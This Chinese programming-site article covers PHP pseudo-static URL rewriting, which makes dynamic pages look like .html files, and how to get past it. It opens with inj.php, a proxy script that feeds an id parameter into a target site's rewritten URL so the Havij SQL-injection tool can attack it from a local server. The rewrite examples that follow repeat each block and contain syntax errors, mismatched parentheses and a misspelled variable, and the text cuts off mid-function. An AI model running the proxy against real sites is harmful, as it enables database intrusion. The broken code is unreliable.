当前位置:编程学习 > php >>

PHP 伪静态技术原理以及突破原理

先说实现方法:
inj.php:
[php]
<?php 
set_time_limit(10); 
$id=$_GET["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3D",$id); 
$url="http://www.xxx.com/index.php/library/more/id/$id.html"; 
$ch=curl_init(); 
curl_setopt($ch,CURLOPT_URL,"$url"); 
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//启用时将curl_init()获取的信息以文件流的形式返回,而不是直接输出  
curl_setopt($ch,CURLOPT_HEADER,0);//启用时会将头文件的信息作为数据流输出  
 
$output=curl_exec($ch); 
curl_close($ch); 
print_r($output); 
?> 

<?php
set_time_limit(10);
$id=$_GET["id"];
$id=str_replace(" ","%20",$id);
$id=str_replace("=","%3D",$id);
$url="http://www.xxx.com/index.php/library/more/id/$id.html";
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,"$url");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//启用时将curl_init()获取的信息以文件流的形式返回,而不是直接输出
curl_setopt($ch,CURLOPT_HEADER,0);//启用时会将头文件的信息作为数据流输出

$output=curl_exec($ch);
curl_close($ch);
print_r($output);
?>
用wamp搭建一个服务器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1


=============================
PHP伪静态实现方法一(利用Apache 服务器的功能)

1、检查Apache是否支持mod_rewrite
2、让Apache 支持.htaccess
3、建立.htaccess文件
4、规则:
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL长啥样
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如说:www.xx.com/page-18.html
真实的URL如下:
action = page
id = 18

============================
PHP伪静态实现方法二(编码实现)

$Php2Html_FileUrl = $_SERVER["REQUEST_URI"]
echo $Php2Html_FileUrl

例子:// localhost/php100/test.php?id|1@action|2

[php]
$Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) )) 
/*
内层的strrchr出来:/test.php?id|1@action|2
外层的strrchr出来:id|1@action|2
内层的str_replace出来:把 / 号去掉,本例子 没有
外层的str_replace出来:把 ?号去掉,本例子 没有
*/ 
$Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString); 
/*把str变成以@为界限划分的数组:id|1 和 action|2*/ 
 
foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr) 

  $Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr); 
  /* id => 1 和 action => 2*/ 
  $_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1]; 

$Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) ))
/*
内层的strrchr出来:/test.php?id|1@action|2
外层的strrchr出来:id|1@action|2
内层的str_replace出来:把 / 号去掉,本例子 没有
外层的str_replace出来:把 ?号去掉,本例子 没有
*/
$Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString);
/*把str变成以@为界限划分的数组:id|1 和 action|2*/

foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr)
{
  $Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr);
  /* id => 1 和 action => 2*/
  $_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1];
}


============================
PHP伪静态实现方法三(编码实现)
例子: localhost/php100/test.php/1/2
[php]
$filename = basename($_SERVER["SCRIPT_NAME"]); 
echo $_SERVER["SCRIPT_NAME"]; 
echo $filename; 
 
if(strtolower($filename) == 'test.php'){ 
    if(!empty($_GET[id])){ 
        $id=intval($_GET[id]); 
        echo $id; 
        $action = intval($_GET[action]); 
        echo $action; 
    }else{ 
     
        $nav=$_SERVER["REQUEST_URI"]; 
        $script=$_SERVER["SRCIPT_NAME"]; 
     
        //这句话应该是把URL前面那段给搞掉。。剩下 "1/2"之类的。。  
        $nav=ereg_replace("$script","",urldecode($nav)); 
        echo $nav; 
         
        $vars = explode("/",$nav); 
        print_r($vars); 
        $id=intval($vars[1]); 
        $action=intval($vars[2]); 
    } 
    echo $id.'&'.$action; 

$filename = basename($_SERVER["SCRIPT_NAME"]);
echo $_SERVER["SCRIPT_NAME"];
echo $filename;

if(strtolower($filename) == 'test.php'){
    if(!empty($_GET[id])){
        $id=intval($_GET[id]);
        echo $id;
        $action = intval($_GET[action]);
        echo $action;
    }else{
   
        $nav=$_SERVER["REQUEST_URI"];
        $script=$_SERVER["SRCIPT_NAME"];
   
        //这句话应该是把URL前面那段给搞掉。。剩下 "1/2"之类的。。
        $nav=ereg_replace("$script","",urldecode($nav));
        echo $nav;
       
        $vars = explode("/",$nav);
        print_r($vars);
        $id=intval($vars[1]);
        $action=intval($vars[2]);
    }
    echo $id.'&'.$action;
}


============================
PHP伪静态实现方法四(编码实现)
[php]
function mod_rewrite(){ 
    global $_GET; 
    $nav = $_SERVER["REQUEST_URI"]; 
    $script_name = $_SERVER["SCRIPT_NAME"] 
     
    $nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1); 
     
    $nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html  
     
    $vars=expl

补充:Web开发 , php ,
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,